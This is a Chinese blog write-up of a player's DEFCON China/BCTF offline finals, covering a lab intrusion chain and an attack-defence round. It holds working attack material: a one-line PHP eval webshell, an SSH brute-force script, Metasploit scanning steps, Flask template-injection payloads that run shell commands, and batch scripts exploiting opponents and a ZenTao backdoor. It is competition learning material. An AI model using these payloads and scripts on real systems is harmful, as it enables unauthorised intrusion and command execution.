DEFCON CHINA&BCTF的一些随笔

萌新的第一次线下决赛,毫无意外的被打爆,打扰了我太菜了,告辞!

下面记录一下这次的收获吧。

靶场渗透

这次靶场是打的真的爽,也学习了很多东西。从一个博客开始到服务器到内网最后拿域控权限,打的真的爽啊。这里有5个flag,我们在拿域控,靶场总共6个flag。然后最开始博客的服务器里面我早就发现了一个pwn,应该最后一个flag。

唯一的遗憾是没时间了,mimikatz没升级,拿ms14-068打的时候缺少ptc模块,然后就没时间了,怪可惜了。唉。

因为是内网,所以没复现环境.刚好l3m0n师傅写了wp。师傅肯定写的比我详细,贴一下地址:

 Defcon China 靶场题 – 内网渗透Writeup

有些地方我们和l3mon师傅打的不一样,但是大体差不多。

开始吧!

首先第一关是wordpress博客,是一个twentyseventeen主题,首先在主页面发现了一个上传点,试图传马但是好像没用。然后进入默认的后台登陆页面

http://192.168.1.2/wp-admin/

尝试弱口令登陆,admin/admin直接进入后台,然后wordpress后台修改404.php来getshell。

参考文章:

《WORDPRESS后台拿WEBSHELL的2个方法》

http://192.168.1.2//wp-content/themes/twentyseventeen/404.php

修改加入一句话

@eval($_POST[‘pass’]);

然后蚁剑连接,找一波之后没有发现flag,倒是在根目录下找到一个大马shell.php (http://192.168.1.2/shell.php)

全局grep搜flag

grep flag -r /*

没发现flag,但是我诡异的发现了lib目录里面的c文件,然后有注释#flag for pwn,这里应该有一个flag。但是我不会…告辞。

然后就没思路了,先放着,想到权限不够可能要提权。

ubantu14.04,4.40内核

拿脏牛打:http://www.zerokeeper.com/penetration/the-use-of-dirty-cow-dirty-cattle-loopholes-in-the-right-to-try.html

发现并不能,执行exp的时候,反而把靶场打gg了,这尼玛就很迷了,用掉了一次重置机会。

然后拿最新的ubantu提权upstream44打:https://github.com/jas502n/Ubuntu-0day

执行exp的时候一直卡在那了,我也不懂,可能主办方搞了什么我不懂的操作233333

所以不了了之,打不下来。然后就想到了一开始博客主界面的上传界面。

然后主办方在这时放出了hint:管理员会定时查看上传的doc文档。

这里马上就想到office word钓鱼提权。拿CVE-2017-11882打一发

https://github.com/Ridter/CVE-2017-11882

然后用端口转发,msf监听端口弹shell。很明显是win服务器。

进入了192.168.2.1/24段,在根目录下找到了第二个flag。尴尬的是第一个flag还没拿到。

进去之后内网扫描一发

添加路由
run autoroute -s 192.168.2.1/24

进行端口扫描
use auxiliary/scanner/portscan/tcp
set PORTS 3389,445,22,80,8080
set RHoSTS 192.168.2.1/24
set THREADS 50
exploit

先把各自的ip和内容说一下:

192.168.2.10 ————————————AD域-DC域控

192.168.2.112————————————AD域-PC个人机

192.168.2.104———————————–tomcat

192.168.2.114————————————word click sever

我们拿到的是114的权限。扫一波发现104的8080存在tomcat,默认账号密码可以进入

tomcat/tomcat

然后传jsp大马,拿到shell,在根目录下和/var/www/flag分别拿到flag。到这里就卡了,倒回去打提权那题。

打了好久还是没有提权成功。mmp的第一个flag还没拿到。

过了好久才然后脑洞大开ssh爆破第一个服务器密码:http://homeway.me/2015/06/20/python-violence-ssh-attack/

#!/usr/bin/python python
# -*- coding: utf-8 -*-
import paramiko,threading,sys,time,os

class SSHThread(threading.Thread):
    def __init__(self, ip, port, timeout, dic, LogFile):
        threading.Thread.__init__(self)
        self.ip = ip
        self.port = port
        self.dict = dic
        self.timeout = timeout
        self.LogFile = LogFile
    def run(self):
        print("Start try ssh => %s" % self.ip)
        username = "root"
        try:
            password = open(self.dict).read().split('\n')
        except:
            print("Open dict file `%s` error" % self.dict)
            exit(1)
        for pwd in password:
            try:
                ssh = paramiko.SSHClient()
                ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
                ssh.connect(self.ip, self.port, username, pwd, timeout = self.timeout)
                print("\nIP => %s, Login %s => %s \n" % (self.ip, username, pwd))
                open(self.LogFile, "a").write("[ %s ] IP => %s, port => %d, %s => %s \n" % (time.asctime( time.localtime(time.time()) ), self.ip, self.port, username, pwd))
                break
            except:
                print("IP => %s, Error %s => %s" % (self.ip, username, pwd))
                pass
def ViolenceSSH(ip, port, timeout, dic, LogFile):
    ssh_scan = SSHThread(ip, port, timeout, dic, LogFile)
    ssh_scan.start()

def main(ipFile, dic, log):
    if ipFile == "-h":
        help()
    try:
        ipText = open(ipFile).read().split('\n')
        for ip in ipText:
            if ip != '':
                time.sleep(0.5)
                threading.Thread(target = ViolenceSSH, args = (ip, 22, 1, dic, log, )).start()
    except:
        print("Open IP list file `%s` error" % ipFile)
        exit(1)
def help():
    print("python ssh.scan.py 使用说明:\n\
        python ssh.scan.py ip_file_path dict_file_path ssh_log_path \n")
    exit(1)

if __name__ == '__main__':

    fpath = os.path.dirname(os.path.abspath('__file__'))
    ipFile = sys.argv[1] if len(sys.argv) > 1 else fpath+"/dict/ip" 
    dic = sys.argv[2] if len(sys.argv) > 2 else fpath+"/dict/password"
    log = sys.argv[3] if len(sys.argv) > 3 else fpath+"/log/sshd"
    try:
        os.system("clear")
        main(ipFile, dic, log)
    except KeyboardInterrupt:
        exit(1)

东西很简单,主要默认目录如下:

|--ssh.scan.py
|--/log:
    sshd
|--/dict:
    ip
    password

ip和password按照一行一个放置就行了。

弱口令top1000跑一发,发现ssh密码是admin。nice啊!终于拿到了第一个flag。太坑了弱口令2333333

通过104打112AD域PC的时候卡了,发现有3389端口开放,各种弱口令都试了,没用。

依然不知道用户名和密码。这时主办方出了hint,某个服务器的用户名和密码可能在某个数据库里面,我们马上回去找已经拿到的服务器的数据库。这里耗了很多时间,好像我的jps大马有问题,菜刀连不上,只能一步一步的查询数据库,哎,用太多时间卡这了。确实是我的锅。

最后在104服务器一个数据库里找到了用户名和密码。

3389远程登陆进112AD域PC端.

但这只是拿到域内机器的本地administrator权限,需要提权提升到system权限。这应该是最后一个flag。

马上想到ms14-068,域权限提升。

搜了一下,大多都是python写的exp,但是目前112机是win7系统,不可能去装个python环境吧,果断找exe的exp。

我找到一个文章:《域渗透提权之MS14-068》

这篇文章是不使用python脚本的。按照文章打一波,应该是能打出来的,看l3mon师傅的wp也是这样打。唯一的缺陷就是之前说的,mimikatz出了问题和时间到了,可惜…

靶场渗透就这些了,打扰了太菜了。

A&D攻防

萌新第一次打A&D,12点开始比赛,开始之后四小时进入A&D模式,18点暂停比赛,第一天打两个小时awd。

按照我之前写的文章《CTF线下AWD攻防模式的准备工作及起手式》打,ssh密码是随机的,应该不用改。

这次有两个web,一个flaskbb,一个禅道cms9.8.3,什么都不管先down源码。期间发现禅道是弱口令admin/123456,进去之后赶紧改密码(禅道第一次登陆之后默认要求改密码),然后考虑能不能登别人的禅道改别人的后台密码。然而我并没有搞懂怎么打别人,怎么访问别人的服务?一脸蒙蔽。开始审计源码。

很快发现禅道有个function door(),应该是后门,注释掉发现并没有判down,也并没有被打,那应该是防住了。

然而还没有缓过神来,flask就已经被打了,讲真我真的慌了,紧张了,旁边的提示其实是只显示我们队的信息。而我以为是全场的,想想,全场只有我队被打,只有我队扣分,多么难受啊!当时看一眼积分榜就骂一句mmp,心态是真的崩。哎,太紧张了。

早早就在流量包里面发现了对面打过来的payload,也没有啥垃圾流量的。

{{().__class__.__bases__.0.__subclasses__().59.__init__.__globals__.linecache.os.popen(“cat /fla*”).read()}}

明显的flask模板渲染命令注入,但是我不知道怎么去打别人…找不到别人在哪。不管了,修一下洞先

改成跳转502badaway,就行了,主页面也502badaway,应该没问题了。但是出现了一个尴尬的问题,flask如何重启?

我python app.py不行,重启httpd服务权限不够,最后用kill进程解决了问题。

然后第一天比赛就结束了。flask应该就这一个模板渲染的洞。因为不大会flask,只能看流量找别人的payload,然后蒙蔽的不知道怎么打别人。

回去之后和ADog一起分析了一下那个后门。这个后门之前在国赛出过,叫做weevely3

参考乐清师傅的文章:《weevely3后门分析》

一模一样的后门,只有参数不一样。写好exp,因为不会打别人,不知道别人在哪,打不了,只能写好打本地的禅道。

但是利用这个后门需要满足两个欧皇条件,第一,进入对方靶机后台。第二,对方没有把后门注释。

然而,只要进入了后台,自动要求改密码的,不可能知道别人后台密码是什么。

也就是说,除非出0day,不然不可能利用起来。

然后认真读当时拍下来的比赛规则:

对抗区是172.16.5.0/24,我们自己是172.16.5.25.

那应该我们都在同一个网段,用masscan来扫出他们的地址,再加上端口:

masscan -p5070 172.16.5.0/24

第二天实际扫描的结果:

Discovered open port 5070/tcp on 172.16.5.18
Discovered open port 5070/tcp on 172.16.5.12
Discovered open port 5070/tcp on 172.16.5.20
Discovered open port 5070/tcp on 172.16.5.21
Discovered open port 5070/tcp on 172.16.5.23
Discovered open port 5070/tcp on 172.16.5.10
Discovered open port 5070/tcp on 172.16.5.24
Discovered open port 5070/tcp on 172.16.5.22
Discovered open port 5070/tcp on 172.16.5.19
Discovered open port 5070/tcp on 172.16.5.16
Discovered open port 5070/tcp on 172.16.5.17
Discovered open port 5070/tcp on 172.16.5.13
Discovered open port 5070/tcp on 172.16.5.14
Discovered open port 5070/tcp on 172.16.5.26
Discovered open port 5070/tcp on 172.16.5.15
Discovered open port 5070/tcp on 172.16.5.11        

25是我们自己,11到26都是对方的靶机。

那行,写flask的批量脚本,最后测试只有3个队能拿flag

 

#-*-coding:utf-*-
import requests
import random
import re
import time

def getflag(url):
   url += '{{().__class__.__bases__.0.__subclasses__().59.__init__.__globals__.linecache.os.popen("cat /fla*").read()}}'
   headers={
   'Host':'flaskweb.com',
   'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0',
   'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
   'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3'
   }
   s=requests.get(url=url,headers=headers,timeout=5)
   try:
      return s.content
   except:
      print 'error!'
def post(flag):
   url = 'https://172.16.4.1/Common/awd_sub_answer'
   data = {
   'answer':flag,
   'token' : '10e0a17dda379958fdc1891461ff6547'
   }
   s=requests.post(url=url,data=data,verify=False)
   print s.content
if __name__ == '__main__':
   for i in range(11,26):
      if i==25:
          continue
      url = 'http://172.16.5.%d' % i
      url += ':5070/'
      content = getflag(url).replace('\n','')
      flag = re.findall('http://flaskweb.com/(.*?)not found',content)[0].strip()
      print flag
      post(flag)

到最后都修了这个洞。一个flag都拿不了。

第二天禅道一开始就被打了,这尼玛是0day啊,我们昨天改的后台密码登不上了,查看流量,看不懂他的payload,于是我们申请重置,结果快不过他们的脚本,后台密码还是被改了,安装昨天的推论,需要先进后台才能利用那个后门(前提是没有注释掉)就先放下了。5分钟一轮,一直拿flask的分。到12点才去看禅道的流量,猛然发现,卧槽,源码被改了!!

不需要进后台直接就能拿flag。woc!

直接把晚上研究的脚本批量:

#!/usr/bin/python
#coding=utf-8
import sys,requests,base64,re

def getflag(url):
   s=requests.session()
   headers = {
   'Accept-Language' : 'ah;q=0.8,an-US;q=0.1,an;q=0.2,an;q=0.3',
    'Cookie' : 'lang=zh-cn; device=desktop; theme=default; windowWidth=1536; windowHeight=701; keepLogin=on; za=admin; zp=b8ed03c266b6b4c05d76a3f3ebafefa5ed3ad628; zentaosid=gmi8vjco0litcsquukqnuga5g6',
    'Referer' : 'http://114.114.114.114/?q0=hahaha&q1=b4e&q2=G/9PnEkWL/S2Myt8SWm2dqgqKGWyjGA5LxRikw==&q3=f5b'
   }
   url+='www/index.php?m=misc&f=door'
   s=requests.get(url=url,headers=headers)
   content = re.findall('<ccd2e8f9>(.*?)</ccd2e8f9>',s.content)
   try:
      return content[0]
   except:
      print 'null!'

def decode(content):
   s=requests.session()
   url='http://127.0.0.1/123.php'
   data = {
      'q': content
   }
   s=requests.post(url=url,data=data)
   return s.content
def post(flag):
   url = 'https://172.16.4.1/Common/awd_sub_answer'
   data = {
   'answer':flag,
   'token' : '10e0a17dda379958fdc1891461ff6547'
   }
   s=requests.post(url=url,data=data,verify=False)
   print s.content
if __name__ == '__main__':
   for i in range(11,27):
      if i ==25:
         continue
      url='http://172.16.5.%d:5073/' % i
      if(decode(getflag(url))):
         print url
         content = decode(getflag(url))
         if len(content)<60:
            print content
            post(content)
      else:
         print url+'Error!'

也是每轮只能打三个队的flag。如果注释掉后门的话也打不了。

但是我们也被打了!!!我们是注释掉后门了的,那就是另外的骚操作了,看payload貌似是靠sso单点登陆,但是好像忘记加referer了,一直302跳转,sso失败,唉,赛后才发现没有加referer,太可惜了。

但是还有一个点,主办方是不会改源码的,但是我们也重置过了,源码确实被改了。

最开始打我们的是Nu1L!赛后听别的队说他们也是拿别人payload直接打的。

后来我写这篇文章的时候才想到,会不会是Nu1L一晚上挖出了最新禅道的0day,并且自己改了个sso的洞然后写好了批量打全场getshell改源码并自己用sso的洞再来拿flag。并写入内存马。

细思极恐!但这又可能是最接近真相的推测。

第一名30w,拿0day做题并不奇怪,这就是国际强队的水平吗orz,太强了,太强了。

之后flask改了check规则,主页面不能502badaway,我们只要处理那个报错页面就行了,但是这次使用kill进程来重启却不行了,不知道主办方干嘛了。kill掉不重启,就一直down,重置次数也用完了,gg!一直down到比赛结束,mmp的。

赛后才知道,原来可以利用模板渲染的那个洞来重启flask,因为模板渲染的命令注入是root权限的,

{{().__class__.__bases__.0.__subclasses__().59.__init__.__globals__.linecache.os.popen(“service httpd restart”).read()}}

重启httpd服务即可。

A&D也就这样了。

被虐的挺惨的确实orz…

努力加油吧!

人生就是在被虐和被虐和被虐中疯狂成长。

 

 

发表评论

电子邮件地址不会被公开。 必填项已用*标注